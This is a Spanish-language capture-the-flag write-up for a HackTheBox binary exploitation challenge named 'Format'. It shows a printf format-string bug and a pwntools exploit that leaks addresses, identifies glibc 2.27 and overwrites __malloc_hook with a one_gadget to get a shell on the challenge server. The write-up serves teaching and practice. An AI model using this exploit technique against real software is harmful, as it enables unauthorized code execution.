Format
9 minutos de lectura
Se nos proporciona un binario de 64 bits llamado format
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Ingeniería inversa
Después de ejecutarlo, vemos que el programa solamente repite lo que introducimos:
$ ./format
asdf
asdf
fdsa
fdsa
Usando Ghidra, podemos hacer ingeniería inversa para ver el código fuente y observar lo que hace el programa:
int main(EVP_PKEY_CTX *param_1) {
long canary;
long in_FS_OFFSET;
canary = *(long *) (in_FS_OFFSET + 0x28);
init(param_1);
echo();
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
La función main
llama a echo
, que es la función que responde con el mismo mensaje que introducimos:
void echo() {
long in_FS_OFFSET;
char data[264];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
do {
fgets(data, 256, stdin);
printf(data);
} while (true);
}
Vulnerabilidad de Format String
Sin embargo, pone nuestra entrada de usuario en printf
directamente como primer argumento, por lo que estamos ante una clara vulnerabilidad de Format String.
Usando esta vulnerabilidad, podemos fugar valores de la pila (stack) usando formatos como %lx
(para valores hexadecimales):
$ ./format
%lx
7f3f0d7e4a03
%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.
7f3f0d7e4a03.0.7f3f0d705fd2.7ffe6cdfdd60.0.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.9800000000a.
Nótese como %lx
se sustituye por un valor hexadecimal en la respuesta del servidor. También, si enviamos varios formatos, la posición leída de la pila se incrementa, y vemos que nuestra string de entrada está ahí (2e786c252e786c25
es %lx.%lx.
en hexadecimal, formato little-endian), en la posición 6. Podemos verificar que controlamos la pila a partir de esta posición:
$ ./format
AAAABBBB.%6$lx
AAAABBBB.4242424241414141
%7$lx...AAAABBBB
4242424241414141...AAAABBBB
En el ejemplo anterior hemos puesto AAAABBBB
(8 bytes) en la posición 6, por lo que al usar %6$lx
imprimiremos esa string en formato hexadecimal. Por otro lado, hemos usado %7$lx...
para llenar la posición 6 y luego AAAABBBB
para la posición 7, de forma que %7$lx
se reemplaza por 4242424241414141
.
Las vulnerabilidades de Format String también permiten escribir datos arbitrarios en la memoria usando %n
. Este formato almacena el número de caracteres impresos hasta el formato en la dirección referenciada por el formato. Por ejemplo, si ponemos una dirección en los primeros 8 bytes del payload, si usamos %6$n
justo después se almacenará el valor 8
en dicha dirección. Para poder guardar valores arbitrarios, se puede hacer uso de %c
. Por ejemplo, %256c
se reemplazará por 256 espacios en blanco.
Explotación de Format String
No hay más funciones en el binario y no sabemos la versión de Glibc que se está utilizando. Además, PIE y Full RELRO están habilitados, por lo que primero tenemos que obtener la dirección base del binario y la dirección base de Glibc.
Fugando direcciones de memoria
Para burlar PIE, tenemos que fugar la dirección de alguna instrucción del binario, para poder compararla con su offset (a partir de Ghidra, GDB o readelf
, por ejemplo) y restar los valores.
Para probar, desactivaré ASLR para que todas las direcciones de memoria sean fijas:
# echo 0 | tee /proc/sys/kernel/randomize_va_space
0
Ahora, usaré este script en Python para mostrar las primeras 50 posiciones de la pila:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('format')
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1].split(':')
return remote(host, int(port))
def main():
context.log_level = 'CRITICAL'
for i in range(50):
p = get_process()
p.sendline(f'%{i + 1}$lx'.encode())
print(i + 1, p.recv().decode().strip())
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './format'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
1 7ffff7fa9a03
2 0
3 7ffff7ecafd2
4 7fffffffe5a0
5 0
6 a786c243625
7 58000000380
8 98000000980
9 98000000980
10 98000000980
11 98000000980
12 98000000980
13 98000000980
14 98000000980
15 98000000980
16 98000000980
17 98000000980
18 98000000980
19 98000000980
20 0
21 7ffff7faa5c0
22 0
23 7ffff7e4f525
24 0
25 7ffff7faa5c0
26 0
27 0
28 7ffff7fa64a0
29 7ffff7e4b53d
30 7ffff7faa5c0
31 7ffff7e41de5
32 5555555552d0
33 7fffffffe6b0
34 5555555550c0
35 7fffffffe7c0
36 0
37 55555555526d
38 7ffff7fae2e8
39 f271cac3db528500
40 7fffffffe6d0
41 5555555552b3
42 7fffffffe7c0
43 5808d96f04513c00
44 0
45 7ffff7de1083
46 7ffff7ffc620
47 7fffffffe7c8
48 100000000
49 555555555284
50 5555555552d0
Por experiencia, sé que las direcciones que empiezan por 555555555
son direcciones del binario, las que empiezan por 7ffff7f
están en Glibc, y las que comienzan por 7fffffff
son direcciones de la pila.
Vamos a usar GDB para encontar qué direcciones son estas:
$ gdb -q format
Reading symbols from format...
(No debugging symbols found in format)
gef➤ start
[+] Breaking at '0x1284'
gef➤ x 0x7ffff7fa9a03
0x7ffff7fa9a03 <_IO_2_1_stdin_+131>: 0x00000000
gef➤ x 0x7ffff7ecafd2
0x7ffff7ecafd2 <__GI___libc_read+18>: 0xf0003d48
gef➤ x 0x7ffff7e4f525
0x7ffff7e4f525 <_IO_default_setbuf+69>: 0x0ffff883
gef➤ x 0x7ffff7faa5c0
0x7ffff7faa5c0 <_IO_2_1_stderr_>: 0xfbad2086
gef➤ x 0x7ffff7fa64a0
0x7ffff7fa64a0 <_IO_file_jumps>: 0x00000000
gef➤ x 0x7ffff7e4b53d
0x7ffff7e4b53d <_IO_new_file_setbuf+13>: 0x74c08548
gef➤ x 0x7ffff7e41de5
0x7ffff7e41de5 <__GI__IO_setvbuf+261>: 0x48c03145
gef➤ x 0x7ffff7fae2e8
0x7ffff7fae2e8 <__exit_funcs_lock>: 0x00000000
gef➤ x 0x7ffff7de1083
0x7ffff7de1083 <__libc_start_main+243>: 0xb6e8c789
gef➤ x 0x7ffff7ffc620
0x7ffff7ffc620 <_rtld_global_ro>: 0x00000000
gef➤ x 0x5555555552d0
0x5555555552d0 <__libc_csu_init>: 0xfa1e0ff3
gef➤ x 0x5555555550c0
0x5555555550c0 <_start>: 0xfa1e0ff3
gef➤ x 0x55555555526d
0x55555555526d <init+117>: 0x458b4890
gef➤ x 0x5555555552b3
0x5555555552b3 <main+47>: 0x000000b8
gef➤ x 0x555555555284
0x555555555284 <main>: 0xfa1e0ff3
Tenemos un montón de direcciones para elegir tanto en Glibc como en el binario. Por ejemplo, vamos a usar la posición 21 (_IO_2_1_stderr_
) para Glibc y la posición 49 (main
) para el binario. Ahora, vamos a encontrar los offsets:
$ ldd format
linux-vdso.so.1 (0x00007ffff7fcd000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7db8000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcf000)
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep _IO_2_2_stderr_
1427: 00000000001ed5c0 224 OBJECT GLOBAL DEFAULT 34 _IO_2_1_stderr_@@GLIBC_2.2.5
$ readelf -s format | grep main$
67: 0000000000001284 74 FUNC GLOBAL DEFAULT 16 main
En este punto, podemos calcular las direcciones base de Glibc y del binario restando las fugas de memoria con los offsets correspondientes:
def main():
p = get_process()
p.sendline(b'%21$lx')
_IO_2_1_stderr__addr = int(p.recvline().decode(), 16)
log.info(f'Leaked _IO_2_1_stderr_ address: {hex(_IO_2_1_stderr__addr)}')
p.sendline(b'%49$lx')
main_addr = int(p.recvline().decode(), 16)
log.info(f'Leaked main() address: {hex(main_addr)}')
_IO_2_1_stderr__offset = 0x1ed5c0
glibc_address = _IO_2_1_stderr__addr - _IO_2_1_stderr__offset
log.info(f'Glibc base address: {hex(glibc_address)}')
main_offset = 0x1284
elf.address = main_addr - main_offset
log.info(f'ELF base address: {hex(elf.address)}')
p.interactive()
$ python3 solve.py
[*] './format'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './format': pid 2797003
[*] Leaked _IO_2_1_stderr_ address: 0x7ffff7faa5c0
[*] Leaked main() address: 0x555555555284
[+] Glibc base address: 0x7ffff7dbd000
[+] ELF base address: 0x555555554000
[*] Switching to interactive mode
$
Como ambas direcciones base terminan en 000
, podemos asumir que son correctas. Ya podemos habilitar ASLR de nuevo:
# echo 2 | tee /proc/sys/kernel/randomize_va_space
2
Otra manera de fugar una dirección de Glibc es usar la Tabla de Offsets Globales (GOT, Global Offset Table) como en retos típicos de ret2libc (por ejemplo, Here’s a LIBC):
p.sendline(b'%7$sAAAA' + p64(elf.got.fgets))
fgets_addr = u64(p.recv().split(b'AAAA')[0].ljust(8, b'\0'))
log.info(f'Leaked fgets() address: {hex(fgets_addr)}')
$ python3 solve.py
[*] './format'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './format': pid 2846855
[*] Leaked _IO_2_1_stderr_ address: 0x7f8238c865c0
[*] Leaked main() address: 0x562da7ed8284
[+] Glibc base address: 0x7f8238a99000
[+] ELF base address: 0x562da7ed7000
[*] Leaked fgets() address: 0x7f8238b1b630
[*] Switching to interactive mode
$
Encontrando la versión de Glibc
Vamos a ejecutar el exploit en remoto como está:
$ python3 solve.py 167.172.52.59:31445
[*] './format'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 167.172.52.59 on port 31445: Done
[*] Leaked _IO_2_1_stderr_ address: 0x7f583e826680
[*] Leaked main() address: 0x559ac055e284
[+] Glibc base address: 0x7f583e6390c0
[+] ELF base address: 0x559ac055d000
[*] Switching to interactive mode
$
Vemos que la dirección base de Glibc no es correcta. Podemos usar los tres últimos dígitos hexadecimales de _IO_2_1_stderr_
y fgets
para encontrar una versión de Glibc coincidente en libc.blukat.me (Glibc 2.27):
Ahora podemos descargar la versión de Glibc correcta, y emplear pwninit
para parchear el binario y usar la versión de Glibc que está en la instancia remota:
$ pwninit --libc libc6_2.27-3ubuntu1_amd64.so --bin format --no-template
bin: format
libc: libc6_2.27-3ubuntu1_amd64.so
fetching linker
https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.27-3ubuntu1_amd64.deb
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.27-3ubuntu1_amd64.deb
setting ./ld-2.27.so executable
symlinking libc.so.6 -> libc6_2.27-3ubuntu1_amd64.so
copying format to format_patched
running patchelf on format_patched
En este punto, usaremos format_patched
en nuestro entorno local.
Obteniendo RCE
Como el binario está completamente protegido, la manera de obtener una shell será utilizando una primitiva de escritura arbitraria al explotar la vulnerabilidad de Format String.
Un valor útil para conseguir una shell es una shell one_gadget
, que es una dirección de Glibc que ejecuta una shell bajo ciertas condiciones:
$ one_gadget libc6_2.27-3ubuntu1_amd64.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
Existe un hook (__malloc_hook
) que se ejecuta siempre que se llama a malloc
. Cuando queremos imprimir muchos caracteres con printf
, esta función utilizará malloc
por detrás para reservar memoria, de manera que podemos desencadenar la shell one_gadget
al haber modificado __malloc_hook
con esta dirección:
$ readelf -s libc6_2.27-3ubuntu1_amd64.so | grep __malloc_hook
1132: 00000000003ebc30 8 OBJECT WEAK DEFAULT 34 __malloc_hook@@GLIBC_2.2.5
6652: 00000000003ebc30 8 OBJECT WEAK DEFAULT 34 __malloc_hook
Para desencadenarla, solamente tenemos que requerir mucha memoria, por ejemplo, usando "%100000c"
, para que se llame a malloc
.
Si queremos construir un payload, pwntools
nos ayuda con una función llamada fmtstr_payload
. Solamente tenemos que decirle el offset a partir del cual controlamos valores de la pila (6, lo vimos al principio), y un mapeo de direcciones en las que queremos escribir y los valores que queremos escribir. Si no, una explotación manual de Format String com %n
habría sido mucho más tediosa. Puedes encontrar una prueba de concepto en mi write-up de la máquina Rope (en x86) o en fermat-strings.
Entonces, este es el último payload:
one_gadget_shell_offset = 0x4f322
__malloc_hook_offset = 0x3ebc30
one_gadget_shell_addr = glibc_address + one_gadget_shell_offset
__malloc_hook_addr = glibc_address + __malloc_hook_offset
p.sendline(fmtstr_payload(6, {__malloc_hook_addr: one_gadget_shell_addr}))
p.recv()
p.sendline(b'%10000000c')
p.interactive()
Conseguimos una shell en local:
$ python3 solve.py
[*] './format_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Starting local process './format_patched': pid 2852164
[*] Leaked _IO_2_1_stderr_ address: 0x7fef51487680
[*] Leaked main() address: 0x55654d899284
[+] Glibc base address: 0x7fef5109b000
[+] ELF base address: 0x55654d898000
[*] Leaked fgets() address: 0x7fef51119b20
[*] Switching to interactive mode
$ ls
format ld-2.27.so libc.so.6
format_patched libc6_2.27-3ubuntu1_amd64.so solve.py
Flag
Y también en remoto:
$ python3 solve.py 167.172.52.59:31445
[*] './format_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Opening connection to 167.172.52.59 on port 31445: Done
[*] Leaked _IO_2_1_stderr_ address: 0x7f796e4fa680
[*] Leaked main() address: 0x55d17f0be284
[+] Glibc base address: 0x7f796e10e000
[+] ELF base address: 0x55d17f0bd000
[*] Leaked fgets() address: 0x7f796e18cb20
[*] Switching to interactive mode
$ ls
flag.txt
format
run_challenge.sh
$ cat flag.txt
HTB{mall0c_h00k_f0r_th3_w1n!}
El exploit completo se puede encontrar aquí: solve.py
.